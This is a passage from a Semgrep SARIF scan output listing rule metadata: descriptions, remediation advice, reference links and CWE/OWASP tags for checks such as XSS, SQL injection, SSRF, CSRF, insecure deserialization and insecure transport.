ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Encryption at rest is not enabled for the elastic search domain resource"},"help":{"markdown":"Encryption at rest is not enabled for the elastic search domain resource\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Encryption at rest is not enabled for the elastic search domain resource"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest","id":"terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest","name":"terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a Storage that was not configured to deny action by default. Add `enable_https_traffic_only = true` in your resource block."},"help":{"markdown":"Detected a Storage that was not configured to deny action by default. Add `enable_https_traffic_only = true` in your resource block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-enforce-https.storage-enforce-https)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#enable_https_traffic_only](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#enable_https_traffic_only)\n - [https://docs.microsoft.com/en-us/azure/storage/common/storage-require-secure-transfer](https://docs.microsoft.com/en-us/azure/storage/common/storage-require-secure-transfer)\n","text":"Detected a Storage that was not configured to deny action by default. Add `enable_https_traffic_only = true` in your resource block."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-enforce-https.storage-enforce-https","id":"terraform.azure.security.storage.storage-enforce-https.storage-enforce-https","name":"terraform.azure.security.storage.storage-enforce-https.storage-enforce-https","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-enforce-https.storage-enforce-https"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody","id":"java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody","name":"java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule is deprecated"},"help":{"markdown":"This rule is deprecated\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"This rule is deprecated"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-create-element-href-url.react-create-element-href-url)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.react.react-create-element-href-url.react-create-element-href-url","id":"typescript.react.react-create-element-href-url.react-create-element-href-url","name":"typescript.react.react-create-element-href-url.react-create-element-href-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-create-element-href-url.react-create-element-href-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled."},"help":{"markdown":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-fileaccess.swift-webview-config-allows-file-access)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-fileaccess.swift-webview-config-allows-file-access","id":"swift.webview.webview-fileaccess.swift-webview-config-allows-file-access","name":"swift.webview.webview-fileaccess.swift-webview-config-allows-file-access","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-fileaccess.swift-webview-config-allows-file-access"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable."},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/gorilla/csrf](https://github.com/gorilla/csrf)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable."},"helpUri":"https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection","id":"go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection","name":"go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc","id":"csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc","name":"csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"By default, clients can connect to App Service by using both HTTP or HTTPS. HTTP should be disabled enabling the HTTPS Only setting."},"help":{"markdown":"By default, clients can connect to App Service by using both HTTP or HTTPS. HTTP should be disabled enabling the HTTPS Only setting.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#https_only](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#https_only)\n - [https://docs.microsoft.com/en-us/azure/app-service/configure-ssl-bindings#enforce-https](https://docs.microsoft.com/en-us/azure/app-service/configure-ssl-bindings#enforce-https)\n","text":"By default, clients can connect to App Service by using both HTTP or HTTPS. HTTP should be disabled enabling the HTTPS Only setting."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only","id":"terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only","name":"terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data that is possible user-controlled from a python request is passed to `raw()`. This could lead to SQL injection and attackers gaining access to protected information. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"help":{"markdown":"Data that is possible user-controlled from a python request is passed to `raw()`. This could lead to SQL injection and attackers gaining access to protected information. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw)\n - [https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection](https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection)\n","text":"Data that is possible user-controlled from a python request is passed to `raw()`. This could lead to SQL injection and attackers gaining access to protected information. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw","id":"python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw","name":"python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using some of ruby's most popular REST/HTTP libraries, including httparty and restclient."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using some of ruby's most popular REST/HTTP libraries, including httparty and restclient.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests)\n - [https://github.com/rest-client/rest-client](https://github.com/rest-client/rest-client)\n - [https://github.com/jnunemaker/httparty/tree/master/docs](https://github.com/jnunemaker/httparty/tree/master/docs)\n","text":"Checks for requests to http (unencrypted) sites using some of ruby's most popular REST/HTTP libraries, including httparty and restclient."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests","id":"problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests","name":"problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Pervasives is deprecated and will not be available after 4.10. Use Stdlib."},"help":{"markdown":"Pervasives is deprecated and will not be available after 4.10. Use Stdlib.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.compatibility.deprecated.deprecated-pervasives)\n","text":"Pervasives is deprecated and will not be available after 4.10. Use Stdlib."},"helpUri":"https://semgrep.dev/r/ocaml.lang.compatibility.deprecated.deprecated-pervasives","id":"ocaml.lang.compatibility.deprecated.deprecated-pervasives","name":"ocaml.lang.compatibility.deprecated.deprecated-pervasives","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.compatibility.deprecated.deprecated-pervasives"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `golang.org/x/crypto/bcrypt` package."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `golang.org/x/crypto/bcrypt` package.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://pkg.go.dev/golang.org/x/crypto/bcrypt](https://pkg.go.dev/golang.org/x/crypto/bcrypt)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `golang.org/x/crypto/bcrypt` package."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.md5-used-as-password.md5-used-as-password","id":"go.lang.security.audit.md5-used-as-password.md5-used-as-password","name":"go.lang.security.audit.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Insecure WebSocket Detected. WebSocket Secure (wss) should be used for all WebSocket connections."},"help":{"markdown":"Insecure WebSocket Detected. WebSocket Secure (wss) should be used for all WebSocket connections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Insecure WebSocket Detected. WebSocket Secure (wss) should be used for all WebSocket connections."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket","id":"javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket","name":"javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$STR.replace` method will only replace the first occurrence when used with a string argument ($CHAR). If this method is used for escaping of dangerous data then there is a possibility for a bypass. Try to use sanitization library instead or use a Regex with a global flag."},"help":{"markdown":"`$STR.replace` method will only replace the first occurrence when used with a string argument ($CHAR). If this method is used for escaping of dangerous data then there is a possibility for a bypass. Try to use sanitization library instead or use a Regex with a global flag.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"`$STR.replace` method will only replace the first occurrence when used with a string argument ($CHAR). If this method is used for escaping of dangerous data then there is a possibility for a bypass. Try to use sanitization library instead or use a Regex with a global flag."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization","id":"javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization","name":"javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization","properties":{"precision":"very-high","tags":["CWE-116: Improper Encoding or Escaping of Output","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected data rendered directly to the end user via 'Response'. This bypasses Pyramid's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Pyramid's template engines to safely render HTML."},"help":{"markdown":"Detected data rendered directly to the end user via 'Response'. This bypasses Pyramid's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Pyramid's template engines to safely render HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected data rendered directly to the end user via 'Response'. This bypasses Pyramid's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Pyramid's template engines to safely render HTML."},"helpUri":"https://semgrep.dev/r/python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response","id":"python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response","name":"python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2","id":"python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2","name":"python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"help":{"markdown":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.ai.prompt-injection-django.prompt-injection-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"helpUri":"https://semgrep.dev/r/python.django.ai.prompt-injection-django.prompt-injection-django","id":"python.django.ai.prompt-injection-django.prompt-injection-django","name":"python.django.ai.prompt-injection-django.prompt-injection-django","properties":{"precision":"very-high","tags":["CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.ai.prompt-injection-django.prompt-injection-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a 